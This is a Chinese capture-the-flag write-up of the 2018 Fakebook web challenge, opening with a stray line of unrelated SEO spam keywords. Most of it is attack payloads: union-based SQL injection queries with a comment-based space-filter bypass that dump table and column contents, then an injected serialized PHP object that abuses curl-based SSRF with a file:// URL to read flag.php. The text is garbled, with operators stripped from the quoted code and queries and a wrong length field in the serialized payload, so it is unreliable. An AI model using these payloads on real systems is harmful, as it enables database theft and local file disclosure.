网站开发代理合同,沈阳沈河区网站建设,网站明链怎么做,什么是分类信息网站营销[网鼎杯 2018]Fakebook 打开环境出现一个登录注册的页面
在登录和注册中发现 了地址栏出现变化#xff0c;扫一波看看 看看robots.txt和flag.php 访问robots.txt看看 再访问user.php.bak ?php class UserInfo { public $name ; public …[网鼎杯 2018]Fakebook 打开环境出现一个登录注册的页面
在登录和注册中发现 了地址栏出现变化扫一波看看 看看robots.txt和flag.php 访问robots.txt看看 再访问user.php.bak ?php class UserInfo { public $name ; public $age 0; public $blog ; public function __construct($name, $age, $blog) { $this-name $name; $this-age (int)$age; $this-blog $blog; } function get($url) { $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output curl_exec($ch); $httpCode curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this-get($this-blog); } public function isValidBlog () { $blog $this-blog; return preg_match(/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]\.)[a-zA-Z]{2,6}(\:[0-9])?(\/\S*)?$/i, $blog); } } 想起来刚刚有一个注册的先注册一个看看
填的时候可以随便复制一篇内容过去看看这样才能进行注册 并且发现一个注入点尝试一下简单的注入
order by 4# 页面回显正常
order by 5# 页面回显不正常
说明有四个字段
union查看显位
?no1 union select 1,2,3,4# no hack ~_~ ?no1 ununionion seselectlect database(); no ?no1 uNion sElEct database(); no ?no1 union/**/select 1,2,3,4# yes ?no0 union/**/select 1,database(),3,4# yes
测试中发现过滤了空格 回显的位置是2
库表字段内容 爆库:?no-1 union/**/select 1,database(),3,4# 报表:?no-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()# 爆字段:?no-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_nameusers # 爆data值:?no-1 union/**/select 1,group_concat(data),3,4 from users # 以为会出现内容但是发现没有结果得到了一串序列化的字符串
刚刚的提到的.bak文件这个应该会和刚刚的有关
发现在get方法中curl_exec()如果使用不当就会导致ssrf漏洞
有一个UserInfo的类,类中有三个公共的类变量name,age,blog。一个构造方法一个get方法。主要的工作应该是建立会话然后判断是否是有效的请求如果不是则返回404如果不是则返回url的内容一个getBlogContents方法返回一个url的内容。
可以用file协议利用ssrf漏洞读取文件再通过序列化去读取flag.php
?no-1 union/**/select 1,2,3,O:8:UserInfo:3:{s:4:name;s:5:admin;s:3:age;i:20;s:4:blog;s:83:file:///var/www/html/flag.php;}# 出现view.php